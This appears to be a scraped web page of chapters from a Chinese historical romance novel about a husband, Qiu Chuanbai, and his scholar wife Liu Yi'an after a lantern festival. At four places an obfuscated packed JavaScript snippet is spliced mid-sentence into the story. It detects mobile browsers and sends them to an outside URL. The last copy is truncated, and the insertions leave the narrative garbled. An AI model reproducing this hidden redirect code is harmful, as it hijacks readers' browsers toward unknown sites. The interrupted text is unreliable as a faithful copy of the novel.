秋川白不愿接受,想要还给顾允,顾允却坚持要将外袍换给秋川白以表歉意,两人僵持许久。 见顾允不肯让步,秋川白也不愿在这里同她纠缠,便披上了她的外袍,随后便继续用膳。 顾允又问了很多关于柳忆安的问题,秋川白察觉到对方目的不纯,便只用三言两语应付。 衣服被淋湿,柳忆安又迟迟未归,秋川白不想再和顾允单独待在雅间里,便主动提出:“顾姐姐,妻主迟迟未归,我想去楼下候着她。” 听到秋川白要离开,顾允放下筷子,“我陪你一起去吧。” 随后她叫来小二,“小二!买单。” 小二立马跑来,热情地回道:“两位客官,柳女君刚刚已经结过账单了。” “柳女君果真是体贴非常,难怪川白弟弟同柳女君感情深厚。”顾允盯着秋川白,嘴角露出一个自嘲的微笑,“看到你如今过得幸福,我也替你开心。” 秋川白避开了顾允的目光,起身往楼下走去,“顾姐姐早晚也会找到自己的幸福。” “是吗?”顾允拉住秋川白的袖子,“那你记不记得,你说过要做我的夫婿。” 见顾允在众目睽睽之下口出狂言,秋川白惊得一把抽出衣袖,“顾女君,慎言,童言无忌切勿当真。” 顾允哈哈一笑,似是随意地说道:“逗逗你罢了,瞧你紧张的样子。” “顾女君,如今我已成家,有些玩笑话是说不得的,对你来说只是随口的玩笑,若要旁人听去,给我打上失德的罪名,便不好笑了。”秋川白厉色道。 顾允见秋川白有些生气,不再说话,默默跟在他身后。 刚到楼下,秋川白便看见柳忆安同方轻尘向他的方向走来。 *** 看见秋川白,柳忆安加快了步伐,想快点把花灯送给他。 就在此时,一辆马车从旁边疾驰而过,眼见马上就要撞到柳忆安。 千钧一发之际,方轻尘将柳忆安拽到自己身旁,躲过了马车的冲撞。因为一切发生得太过突然,柳忆安在被拽的那一瞬间手上有些脱力,一时没拿稳花灯,眼睁睁看着花灯滚到了马车的轮子下。 这盏期盼了许久的花灯,还未来得及让秋川白看到,便被压得支离破碎。 柳忆安看着满地残骸,呆愣在原地。 秋川白看见柳忆安站在街上一动不动,不知发生何事,开口呼唤她:“妻主,你回来了,轻尘表弟也在啊。” 柳忆安回过神,深深叹了一口气,稳住了情绪,抬头看向秋川白。 “本来准备了花灯给你,结果刚刚不小心摔坏了。” 秋川白感受到顾允在背后注视着他,于是快步走到柳忆安身边,故作亲昵地拉住柳忆安的手,温柔地安慰道:“妻主有这份心意,川白已经心满意足了。” 这时,顾允走上前,打断了温情的场面,充满歉意地开口道:“柳女君,刚刚顾某不慎将茶水洒到了川白的衣服上,便将自己的外袍拿给川白弟弟赔罪,柳女君莫要误会。” “多谢顾女君刚刚出手相助,我和妻主马上回府,这外袍我现在还给顾女君吧。”说罢,秋川白就要把衣服脱下来。 顾允后退一步,摆摆手开口道:“过两日我会去府上拜访,届时还给顾某吧。今日能识得柳女君,顾某倍感荣幸,先告辞了。” 不等秋川白反应过来,顾允转身离开了。 顾允走了,秋川白终于卸下防备。 今日这饭吃得实在令他心神不宁。 他虽看过无数话本,知道竹马青梅之情是无数浪漫桥段的开篇,但前提是女未婚男未嫁。在他还未正式与柳忆安和离前,他可不想挂着他人夫婿的身份做什么出格的行为。 在话本子里,勾搭外女的人夫,都没落得什么好下场,他自然不会让自己沦落至此。 他可不期待和一个勾搭人夫的女子发生什么故事。 这时,酒楼的小二抱着两支梅花出来。 “还好客官您未走远,东西您落下啦,小的给您送出来了。” 秋川白道过谢,接过花,随手将一支递给了方轻尘。 “轻尘表弟,这一束花就赠予你吧,祝你花灯节快乐。” 方轻尘没有拒绝:“多谢了表兄。” 过了亥时,许多人开始往家的方向走,准备点亮自家的花灯。 秋川白也不打算在街上久留,向柳忆安问道:“今日还有什么事情吗?若没事的话,我们回府吧。” 柳忆安也没什么心情在集市逛了,点点头,准备同秋川白回府。出发前她提出送方轻尘回秋府,却得到了拒绝的答案。 “柳姑娘不必挂念我,我还想在集市转转。” 于是同方轻尘告别后,柳忆安和秋川白动身回柳府。 见到两人的身影从街边的拐角处消失,方轻尘蹲下身子,将被碾碎的花灯残骸一点一点地捡了起来。 在回府路上,途经了一家卖花灯的摊位,柳忆安叫住秋川白,想让他挑选一个。 此时秋川白还在思考顾允今晚的所作所为,没有回过神来,随口回复道:“姑娘随便选一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791800|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盏便是。” 看见柳忆安挑选花灯的身影,才想起来他原本打算趁着今日出门,同柳忆安说清楚自己的打算。 柳忆安挑选了一个上面刻有小兔子图案的花灯,据老板说,这盏灯点亮后还能自行转起来,小兔子如同活过来一般。 她觉得这灯甚是新鲜,付完钱后,正想兴高采烈地将老板的话转述给秋川白,还未来得及开口,秋川白先说了话。 “柳姑娘,今日有些话我想同你讲明。”秋川白注视着柳忆安的眼睛说道。 柳忆安见秋川白说得郑重,心里有些忐忑,步伐放得缓慢了许多,手指紧紧捏住了花灯。 “那日柳姑娘坠崖,我到山脚去就姑娘,只是心里感激姑娘当初答应秋某的不情之请。”秋川白顿了顿,继续说道:“包括照顾姑娘,也只是为了报答姑娘对秋某的恩情,并无其他的意思。” 柳忆安停下了走向秋川白的脚步,听他继续说。 “这几日,我见姑娘在秋某身上花了许多心力,怕同姑娘有什么误会,想同姑娘说明白,我做这一切,皆是为了还姑娘的恩情,还望姑娘莫要在秋某身上花费什么心力,以免秋某难以还清。” “原是如此。”柳忆安喃喃道。 看见柳忆安失魂落魄地站在原地,秋川白心里感到一丝不安,担心自己是否言辞过于直白。又觉得还是早日说清楚为好,不然误会越来越深,令彼此更加尴尬。 “我知道了,秋公子,我们回府吧。” 柳忆安明白了秋川白的意思,觉得自己前几日的行为有点可笑。 对方在大婚当夜就同自己说明白了,自己怎么还生出了妄念呢。 自以为是地说出了一些可笑的话,做了一些可笑的事。 打扮了一番,还问对方自己看起来如何。 什么花灯,什么簪子,恐怕只会给秋川白徒增烦恼。 她突然庆幸那盏玉锦斋的花灯被马车碾碎。 恐怕像顾允那样同他自幼相识,两家有旧谊的人,才是秋川白所谓的情投意合之人。 “幸好你今日同我讲清楚了,不然我真的误会了呢。”克制住了流泪的冲动,柳忆安努力撑起一个微笑。 没想到柳忆安就这么坦然地承认了,秋川白有一些讶异。 “今后,我不会再多想了。我们就按照那日的约定,有外人在场时装模作样便好。”说完这句话,柳忆安便陷入沉默。 回到府内,柳忆安将兔子花灯递给小霜,让她将灯挂在门口。 小霜不解:“小姐,按照习俗,这花灯不应该由秋少夫挂吗?” 柳忆安不愿多作解释:“都一样的,不讲究这些。” 小霜接过灯,“小的就是怕秋少夫会不开心。” “他不会在意这些事情的,你挂上便是。” “是。”小霜拿着灯退下了。 柳忆安没有直接回卧室,而是转身走进书房。 她从口袋中取出那支精心雕刻的玉簪,将它连同之前的画作,以及那悄然生长的爱慕之情,一同放入了抽屉深处。 12. 情窦未开 这一夜,柳忆安没有回卧房,在书桌前看了整整一晚的书。 天边刚刚破晓的时候,柳忆安打开窗户,感觉沉闷的心情在一夜苦读后似乎有所排解。 对她而言,感情的失意不过是生活中一个小小的插曲,既然已经努力争取过,便没有什么遗憾。 秋川白想找一个情投意合的人,她又何尝不是呢? 一阵风拂过柳忆安的脸庞,也将她的愁绪一并吹走。 柳忆安重新收拾起自己的行李,决定今日就出发前往书院,已经在家休养许久,该是继续用功的时候了。 在小霜小露的帮助下,行李很快就收拾妥当,柳云这几日因为生意的事情不在家,柳忆安准备同父亲道别后就即刻出发。 见只有柳忆安一个人前来请安,曲氏疑惑地问:“怎么川白没和你一起过来?今日你出发,他不来送送你吗?” 柳忆安不敢直视曲氏的眼睛,将目光瞥向四周,“我也是突然决定要走的,他还在休息,就不打扰他了。” 曲氏感觉到这两个人之间一定有了什么矛盾,但是柳忆安没有主动向他提起,他也不好干涉。 女儿刚刚经历过生死的考验,于曲氏而言,唯一值得挂念的就是柳忆安是否康健,其余的事情,就让柳忆安自己安排吧。 “女儿你路上千万要小心啊,宁可慢点也不要赶路。” “知道啦,父亲您放心。”在家待的时间久了,面对分别,柳忆安的心情十分不舍,为了缓解离别时的伤感,她撒娇道:“父亲,下次休沐日回府,我想吃父亲您亲手做的马蹄糕。” 曲氏的手轻轻划过柳忆安的鼻尖,宠溺地说道:“你这个小馋猫,这么大了还喜欢吃点心。” “父亲做的点心是无论如何也吃不腻的。”柳忆安扬起一个灿烂的笑容,“我走后,父亲也要照顾好自己。” 临出门,柳忆安吩咐道:“小霜,待秋少夫醒后,你告知他我已经去书院了,至于在书院附近购买宅院一事,由他一人全权决定即可。” “是,小姐。您一定要照顾好自己啊。”小霜跟在柳忆安身后,“我真的不能和小露一起陪您去书院吗?” 柳忆安闻言,略带惊讶地回过头。小霜性格内向,向来只执行她的命令,从没主动提过什么要求,今日问出这样的问题,恐怕是被上次的事故吓了一跳,又担心小露一人无法照顾好自己,才想和自己一起去书院。 “我知道你担心我,不过家里也需要一个人帮衬,放心吧,我会好好的。”柳忆安轻轻地抱了抱小霜,“不用担心我。” 小霜的眼泪倏地涌了出来,“小露,你一定要照顾好小姐啊,前些日子我都快要被吓死了。” “别送了,快回去吧,我们走啦。” 道别完,柳忆安坐上马车,车轮缓缓转动,向书院驶去。 *** “既已回到书院,便要收心,为明年春闱好好做准备。” 回到万明书院,柳忆安的第一件事便是向夫子报道。 前几日听闻自己的得意门生雪天坠崖,季夫子连续几夜难以入眠,直到传来消息说人已经救上来,才好好地睡了一觉。 如今见到柳忆安的伤势已经全然恢复,季夫子心里甚觉欣慰,却在面对柳忆安的时候做出一副严厉模样,严肃地叮嘱她。 “你柳举人的名声在十里八乡有所耳闻,暗地里恐怕已有不少人盯上你,你坠下山崖,似是意外,谁知有没有人在背后动些手脚。你千万当心,莫在关键时刻出了岔子。” 柳忆安朝着季夫子一揖说:“多谢夫子挂念,学生会当心的。” 注视着柳忆安离开的身影,季夫子的手指一下又一下地敲击着桌面,若有所思。 “忆安,你可算回来了,你的事情我们都听说了。”同窗好友韩焉然见到柳忆安出现在舍房,安慰地拍了拍她的肩膀,“大家都很关心你,如今见你没事就好。” “劳烦你们挂心了。”柳忆安将物品归置好,同韩焉然一起前往学堂。 韩嫣然打量了一下周围,见没有旁人跟在旁边,便偷偷耳语道:“你不在的这些日子,学堂里发生了一件荒唐事。” “发生什么了?”柳忆安疑惑。 “那个从乡里来的穷举子,陈潇潇,前些日子不知为何被官兵带走了,现在人还没放出来。”说完,韩焉然再次检查了一下周围,确认没人后,贴在柳忆安耳边悄声说道:“有人说,从她身上搜出了一本书,上面写的尽是些谋反的话。” “我同你关系好才与你说这些,你千万不要给别人聊起。这事要是没说话,指不定得…”韩焉然在自己的脖子上比划了一下。 柳忆安点点头,说道:“我知晓了,你也不要同她人讲起这件事。” “放心,我还是知道分寸的,嘘,有人来了。”说罢,韩焉然冲来人打了招呼,“萧韵,你来了。” “我听说忆安回来了,就来找她。”萧韵一把搂住柳忆安,“走吧,一起去学堂。” “忆安,玉锦斋的花灯果然被你拿下了,怎么样,妹夫喜欢吗?”萧韵挤眉弄眼地问道。 柳忆安不愿将自己的私事告知别人,便应付地回道:“嗯,多谢姐姐的提议。” 闻言,萧韵一脸得意地说:“这些男人喜欢什么我再了解不过,日后你若还有什么不懂的,尽管问姐姐我。” 韩焉然一向与萧韵不和,见萧韵一脸风流的样子,冷哼一声,快步离开了。 见萧韵有些尴尬,柳忆安解释道:“焉然就是这个性子,萧姐姐你刚来书院没多久,以后熟悉了就好了。” “无妨无妨,我知道她看不上我这种关系户。”萧韵拍拍袖子,似乎并不在意这种小事。 没说几句,两人便来到了书堂,等待夫子前来讲学。 *** 秋川白起床后,见到柳忆安的床铺似乎一夜没动,便问华来:“妻主昨日没回房吗?” 华来正睡得七荤八素,突然被秋川白叫醒,还有些发懵。 “不知道啊公子,反正我睡着前没有见到少主回屋。” 华来拍了拍脸,企图清醒过来。 “少主没回来?那我去问问小霜姐姐。”说完华来便去寻人了。 秋川白盯着柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791801|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忆安平整的床铺,心情复杂。 莫非自己昨晚的话说得太不留情面了? 柳忆安似乎红了眼眶,不过昨夜路上太黑,他瞧得不真切。 不到一会儿,华来带着小霜回来了。 “小的向少夫请安,”小霜屈膝行礼,随后将柳忆安的嘱咐传达给秋川白,“小姐今晨出发前往书院了,她让小的转告秋少夫,购买宅院一事由少夫自己决定即可。” “她去书院了?这么突然。”秋川白蹙眉,“她还说什么了吗?” “小姐只吩咐了这些。” “多谢,小霜你下去吧。” 看着小霜转身离去,秋川白站在原地发愣。 见秋川白状态不对,华来关心地问道:“公子,你怎么了?” “华来,有件事情我还未同你说过。” 秋川白思索半天,决定将和离书的事向华来全盘托出。 “公子,这,这…”听完秋川白讲了前因后果,华来震惊得说不出话。 “小的还以为公子您想开了。”华来小声嘟囔,“柳少主那么好,您怎么还说那些话伤她。” “算了,你哪里会明白我的想法,先帮我备车吧,我要去找安哥哥逛街。”华来的反应让秋川白心里更闷,于是决定去找闺中好友谈心。 安辰参加完秋川白的婚礼后便再也没见过他,突然听到秋川白叫他出来逛街,心中满是对秋川白新婚生活的好奇。 “如今你我都已嫁为人夫了,总算可以聊些人夫能聊的话题了。”安辰狡黠地说道。 秋川白一时没有反应上来。 “什么人夫的话题?” 安辰用眼神上下扫了秋川白一遍,见他一脸的茫然不像装的,震惊地问道:“周公之礼啊,这难道还要明讲吗?” 听到这几个字,秋川白跳起来捂住了安辰的嘴巴。 “安哥哥莫要在这里胡说。” 安辰努力把秋川白的手移开,“好好好,我不说,你先把手放开。” 安辰把秋川白的反应视为不好意思,笑眼看他,打趣道:“刚刚新婚的人果然同我们这些久为人夫的人不同,还如此害羞。” 见秋川白爱答不理,他只好换了话题:“那我们不说这个,你给我讲讲你妻主吧,她待你如何?” “她人倒不错,只是安哥哥和有情人终成眷属更令人羡慕一些。”秋川白一直羡慕安辰可以嫁给心上人。 安辰不解,疑惑地问道“你这话什么意思?我不记得你心悦过什么人啊。” “我确实没有心悦过任何人,只是觉得既无心悦之人,便不应该成婚。”秋川白闷闷道。 “我们男子确实身不由己,只是你成婚那日,我们都见过了你那位妻主,气度不凡、样貌出众、才华斐然,哪一条都占了,遇到这样的女子你不喜欢,你还想喜欢什么人呢?” 秋川白陷入沉默,久久不答。 见秋川白不语,安辰叹了口气,感慨道:“原本我以为你是情窦初开,现在我才发现,你是情窦未开。你只是嘴上说着要找一有情人,实际上你连什么是情都不晓得。” 13. 新宅 “安辰哥哥,你说得对,柳姑娘确实集万千优点于一身。只是我不明白,喜欢难道就是把一个人的优点一一列出,然后选一个优点最多的人吗?喜欢一个人,难道不是包容一个人的全部吗?她人再好,同我喜不喜欢又有什么关系呢?”秋川白不解。 安辰目瞪口呆,他想反驳秋川白,又觉得他说得有理。 思索了一会儿,安辰问道:“那你觉得喜欢与什么有关呢?” “我不知道…”秋川白踌躇道,“或许是一眼万年?或许是需要两人共同经历一些磨难然后修成正果?安辰哥哥,你又是为何爱慕你妻主呢?” “我同妻主的相识始于意外,对她的爱慕却是相处之后的结果。”说到自己的妻主,安辰的表情柔和了下来,“什么一眼万年,什么经历磨难,前者无非是见色起意,后者则是在磨难中了解了对方的性格和能力。” 见秋川白仍一脸困惑,安辰无奈地摇摇头,继续说道:“爱慕之情,最重要的是你爱慕的那个人是谁,而非你与对方是如何相识的。你同柳姑娘虽是母父指婚,不如你想象得那般浪漫,但是柳姑娘本人却是极不错的。你若仅仅因为和她的相识不如画本子上梦幻,就刻意疏远她,可就本末倒置了。” 最后,安辰总结了一句:“不管怎么样,既然婚事已成,你先多了解她一下总是不会出错的。若实在相处不来,再同柳姑娘商量和离也不迟,她看起来是个好相处的,想必不会为难你。” 「确实好相处。」 秋川白在心里默默回道。 同安辰聊了一个下午,秋川白黯然地回家了,他回想了这几日同柳忆安的相处,突然不理解自己为什么执着于要同柳忆安保持距离。 他发现,自己对柳忆安的疏远似乎仅仅是因为同母父的赌气。抛开这种迁怒的心情,他还得很喜欢和柳忆安待在一起的。 或许自己是应该像安辰说的那样,先试着去了解她。 等搬去万明书院附近,想必有很多时间可以了解柳忆安吧。 秋川白决定第二日就去看宅子。 翌日,秋川白早早醒来,向曲氏请安后便寻了牙人去看房。 他坐在马车上,看着窗外从街道慢慢变成田地,又慢慢变成山路,过了很久很久,才再次看到人烟。 原来这一路如此漫长。 想来柳忆安也是不愿在路上耽误太多时间,之前才很少回家吧。 看来得赶紧定下宅子了,不然哪有机会去了解柳忆安呢? “公子您看,这条路转过去就是我们要看的第一套房子,这套宅子非常新,是去年才建成的,特别符合您的要求,只是这套离书院稍远一些。”牙人向秋川白示意道。 几日前,秋川白便联系了牙人,当时他提的要求是宅子要新,宅价莫要太高。 今日,他却只想离书院越近越好。 “离得远就算了,我们直接从离书院最近的宅子开始看吧。”秋川白听到宅子离书院远,立刻失去了兴趣。 “公子,离书院近的宅子,不仅价格高,也更老旧,实在是划不来啊。这宅子到书院也就步行半个时辰,坐马车就更快了,这距离,对您真不是事儿啊。”牙人劝阻道。 半个时辰,还是有些不便。秋川白微微蹙眉,问道:“有没有更近一点的?步行大约一刻左右的那种?” “有是有……只是这宅子,肯定不如距离远些的气派。” “无妨,先带我去看看。” 一日未见柳忆安,秋川白心中略有一些急躁,他坚持要先去万明书院附近瞧瞧。 “好嘞公子,那我们先去看离得最近的那间。”随后牙人为车夫指了路,马车再次前行。 过了大约一刻,牙人指向旁边的一座院落,说:“公子您瞧,这就是万明书院。” 只见一扇端庄古朴的大门出现在秋川白的视野里,大门上的牌匾刻有“万明书院”四个字,大门两侧分别写着“万卷书中怀济世之志,明堂之上存泽民之心。” “停一下。”秋川白吩咐道,“我们从这里走去宅院吧,我想看看步行需要多久。” 不等其他人回答,秋川白就跳下马车,轻手轻脚地走到了书院门口,朝里面望去。 他站在门口,听见夫子的讲课声隐约传来,猜想柳忆安是否正端坐于学堂之中。 “公子?我们出发吧?”牙人看见秋川白望着书院一动不动,开口问道。 秋川白转过身来,离开前又回头望了一眼。 “走吧。” 牙人带着秋川白绕来绕去,就在秋川白晕头转向之际,牙人停了下来。 “公子您瞧,就是这座小院。”牙人打开了门,一座二进小院映入眼帘。 “咳咳。”扑面而来的灰尘呛得秋川白咳嗽起来。 “公子勿怪,这座宅子已经空置许久,因为价格稍贵,一直少有人问津。”牙人比出“请”的手势,将秋川白引入了院子。 万明书院选址在一个清净无人的山脚,建成之际,附近鲜有人至。一开始只有些穷学子前来求学,故而周边的宅子都较为简陋,这座二进小院算是其中相对精致的一处,虽规模不大,却布局得当。 “这座院子的主人做了点小生意,发财后搬走了,所以主人现在并不急着出手,只想卖个好价格。”牙人露出讨好的笑容,为秋川白继续介绍,“前前后后也有不少人看过,只是都觉得这宅子价格贵,院落小,不划算,宁愿住得稍远些,所以小的一开始没想带您来看这间宅子。” 因长时间没人打扫,墙面已有些斑驳,石板的缝隙间长满了青苔。 迈过垂花门,一棵杏树静静地伫立在正院的西北角,树下有一套竹制的桌椅,上面落了厚厚一层灰。 「她可以坐在这里看书。」 秋川白的脑子里突然冒出了这个念头。 他又走进看了看,发现杏树已有了星星点点的花苞,想来待春风拂过,一定会长满一树杏花。 牙人看秋川白没什么表情,以为他对这套房子不满意,提议道:“公子,这是离书院最近的宅子了,您要是觉得不满意,我带您去下一套看看。” 殊不知,秋川白已经在脑海中思索着该如何修葺这座院子了。 正房留给柳忆安,他可以住在西厢房。 东厢房可以收拾成书房,摆放上桌椅笔墨。 仔细想想,这宅子虽不大,但也是够用了。 “不用再看了,就这套吧。”秋川白做下决定。 牙人劝说道:“公子,您不然再多看几套吧?这购宅子是大事,不必如此着急就定下。” 秋川白明白这个道理,只是不知道为何,无端觉得柳忆安会喜欢这棵杏树。 他摇了摇头,道:“我只是喜欢这棵树罢了,既然同这宅子有缘,就不必纠结了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791802|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见秋川白是真的喜欢这座宅子,牙人也放心了:“原来是这样,那公子您随我走,我带您去立契。” 牙人带着秋川白回到城里,很快办好了手续,将房契同钥匙交给了秋川白。 “多谢公子关照小人生意,以后若要再有什么需要,也劳您记得小人。”牙人笑眯眯地送走了秋川白。 秋川白用了将近一半的嫁妆购下了这座宅子,他看着房契上落下了自己的名字,心里无比开心。 “华来,我有自己的宅子了。”他兴奋地向华来吩咐道,“这段时间,你和春生带领下人将宅子重新修葺一下,修葺完我们就搬过去。” 他回家同曲氏说了这个消息,曲氏加派了人手去帮忙。 “早点将宅子修好,你也可以早点去陪忆安。”曲氏欣慰地看着秋川白,“这宅子离书院最近,你有心了。” 在曲氏的帮助下,很快,这座小宅子焕然一新,已不见一丝陈旧的气息,只等待它的主人入住。 乔迁那日,秋川白迫不及待地想将他搬来的消息告知柳忆安,让柳忆安为宅子取个名字。 “公子,今日天色已晚,待明日再去找柳少主吧。”华来小心地劝道。 “不必等到明日,”秋川白摇摇头,暗自期待柳忆安见到宅子的反应,不知道她是否满意他的安排,“现下正好是下学的时候,我去将这个消息告知于她。” 华来纳闷,前几日还见自家公子主动疏远柳少主,怎么今日却表现得如此热切。 出了宅院,见春生并未跟来,华来悄悄地问:“公子,您前几日不是还说,已经同柳女君签了和离书,搬来书院附近只是找个理由远离柳府,怎么今日如此急切地去寻柳女君。” “不管怎么说,她名义上都是我的妻主,将我搬来的消息第一时间告知她,是对她的尊重。”秋川白寻了一个冠冕堂皇的借口。 事实上,不知怎么得,好些日子没见到柳忆安,秋川白总觉得心里有些难耐,像是有小片羽毛轻挠着心头。 他不知道为何会有这样的感觉,只知道当他离柳忆安越近一步,心头的难耐就会减少一分。 不过一会儿,他就到了书院,同门房说明了自己的身份,在门外等待着柳忆安。 在等候的间隙,秋川白才突然意识到,今日的穿着打扮很是随意,袖口上还残留着灰尘。他的心头添上了一丝窘迫,低头整理自己的着装。 还未收拾妥当,熟悉的声音从身后传来。 “秋郎?你寻来书院,是有什么急事吗?” 柳忆安听到秋川白来书院找自己,心中疑惑极了,不知道何事需要他亲自跑来。 听到呼唤,秋川白迅速抬起头,见到柳忆安从人群中向自己走来。 所有的学子都身着青衿,只有柳忆安好似谪仙般,脸上不施粉黛,却眉目如画,微弱的灯光为她更添上一分文人清雅。 一瞬间,秋川白眼中只留下了柳忆安的身影,其余一切都失去了色彩。 他这才意识到,为何所有人都夸柳忆安才貌气度不凡。 秋川白怔怔地看着柳忆安向自己走来,直到柳忆安再次问道。 “秋郎,是家中有什么事吗?” “今日来,是想请妻主为我们的新宅子起名。”秋川白红着脸说,“待妻主得空,可回到新宅子休息。” 说完,他期待地看向柳忆安。 14. 不配 “这么快就定下宅院了吗?”柳忆安点点头,示意自己已经知道了,“那先祝贺你乔迁新居了。至于为新宅子命名,既然是你买下的宅院,还是由你亲自取名吧,更有意义一些。” “可是,我的文采远不及你……”听到柳忆安不愿为宅子起名,秋川白有些失落。 柳忆安以为对方担心宅子名字不够雅致引起旁人非议,安慰道:“你自己的宅子,名字只要你喜欢就好,不必在意别人的看法。” “那起名字一事先放着吧。”秋川白觉得这件事不急,可以等柳忆安见到宅子后再定,“你下次休沐是什么时候呀,我在新宅子等你。” 从秋川白的语气中,柳忆安听出了一丝期盼,但她只是淡淡一笑,嘴角勾起一抹稍纵即逝的自嘲:自己又险些误会他的意思了,想来秋川白不过是出于礼节,随口客套一句,自己万万不能再自作多情,反倒惹人厌烦。 “之前养伤导致错过了很多功课,恐怕休沐要等一个月之后了。若得空,我会携礼上门恭贺的。” 柳忆安的话听起来十分体面,但和秋川白想象中的答案不一样。 他原以为柳忆安得知这个消息后会很欣喜,结果对方的反应却十分平淡,似乎这件事和她并没有什么关系。 秋川白有一些尴尬,只好回应道:“那我等你。” 柳忆安点点头,没再说什么。 “柳妹妹,怎么这么久了还不回来?”萧韵从一旁走来,大大咧咧地喊道,“谁来找你了?” “秋郎刚搬到这附近,前来告知我一声。”柳忆安解释说。 萧韵上下打量了秋川白一番,随即笑道:“原来是妹夫啊,幸会幸会。上次去柳府探望没见到妹夫,今日终于得以见到真人,真是芝兰玉树,难怪能让我们柳妹妹费这么多心思。” “好了姐姐,你快去忙吧,我马上就去找你。”柳忆安将萧韵推走,制止了萧韵继续说下去。 萧韵离开后,柳忆安便同秋川白道别道:“天色不早了,你早些回家吧。” 秋川白想再与柳忆安说几句话,问道:“你愿不愿意现在同我去看看,离这里很近的。” 柳忆安摇了摇头,拒绝道:“还是待我准备了礼物再上门吧,祝贺你开始新生活,我是真心实意地为你感到高兴。” 话毕,又叮嘱了一句:“回家路上千万当心,我就先去学堂了。” 秋川白看着柳忆安的身影越来越远,直至从视野中完全消失不见,才转身往家走去。 今日他头一次被外人称作柳忆安的夫郎,不知为何,他心中有一丝雀跃。 回到宅中,他直奔为柳忆安准备的书房里,仔细观察了一阵子房间的摆设,觉得有些细节还是不尽如人意,叫华来重新布置。 “华来,这个笔架还是放在右侧吧,会更顺手些。还有这个花瓶,搬去角落吧。” 华来按照秋川白的吩咐整理着书房,有些不解地问:“公子,柳少主又不常来,这间房大约也用不上,不用这么仔细吧。” “她为什么不会常来?”闻言,秋川白眉头微微蹙起,觉得华来的话有些扫兴,“她休沐的时候就会来了。” “公子……说实话,柳少主今日只怕是同你客气而已,我觉得她的语气不像是……”话说到一半,华来看见秋川白的脸色越来越糟,不敢继续讲下去。 “不像是什么?”秋川白闷闷地问道。 “不像是打算来这里……”话毕,华来看见秋川白紧缩的眉头,小声地补充:“公子您才给柳少主说过什么,不要在您身上花费什么心力,柳少主当然会同你保持一定距离。” 秋川白挣扎道:“但是,我们不是还得在外人面前扮演恩爱夫妻吗?我只是在履行当时的承诺而已。” “公子,您和柳少主约定的,是在外人面前扮演恩爱夫妻,如今您都搬了出来,何来外人啊。从今以后,恐怕见到柳少主的机会都屈指可数了。” 华来小声嘟囔着,见自家公子一幅不谙世事的模样,心里默默叹了口气。 “公子,您现下到底是怎么想的呢?是想扮演一个好的夫郎,还是说您在惦记着柳少主?” “我怎么想的…?”秋川白陷入沉思。 他也不知道自己是想的,他只是有点怀念柳忆安看向他时那缱绻的目光,想听柳忆安唤自己一声又一声的“秋郎”。 他在布置这套宅院时,幻想过无数次柳忆安看见房间后欣喜的样子,所以他在搬来的第一时间就跑去书院告知她。 是啊,自己到底是怎么想的呢。 原本不过是同安辰哥哥聊了几句,打算多了解一下柳忆安,如今却不由自主地挂念着她。 秋川白摇了摇头,企图把混杂的思绪从脑海中清理出去,可是心中隐秘的心思却越发清晰。 他承认自己在挂念着柳忆安,只是不清楚这份挂念究竟为何。 思索良久,秋川白不再纠结自己到底是什么心情,有更重要的问题要解决。 按照华来的意思,柳忆安似乎不愿来新宅,他开始思考如何顺理成章地将柳忆安请到宅子里。 “我要写一封信,邀请柳家主和曲主夫在柳姑娘月末休沐的时候来新宅子团聚。”话毕,便拿起笔墨开始写信。 写完信,秋川白将信封交给了华来。 “这封信,你不日便送去柳府,交给曲主夫。” 夜幕降临,月光倾洒在院子的石板路上,银辉衬得院子更加寂静。凉风吹过,将秋川白的思绪吹得纷乱。 秋川白无法安眠,在院子里来回踱步,脑海里全是同柳忆安相处的点点滴滴。 她总是从容不迫,在自己提出要和离的时候,柳忆安没有生气,没有嘲笑,没有轻视,而是尊重了自己的想法。 被绳索勒出的红印,自己都不甚在意,她却看在眼里,不仅为自己拿了药,还找了借口为他遮掩。 回门那日,面对母父的探究,她替自己一一挡下。 花灯节,她专门定了观景的酒楼,还为他留了同旧友相处的时间。 似乎不管发生什么,她都可以从容地接受。在她身边,自己永远都有选择的自由。 这是他在秋家时从未得到的尊重。 在秋家时,只有当自己的想法迎合了母父的安排,才有被准许的可能。 而这些日子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 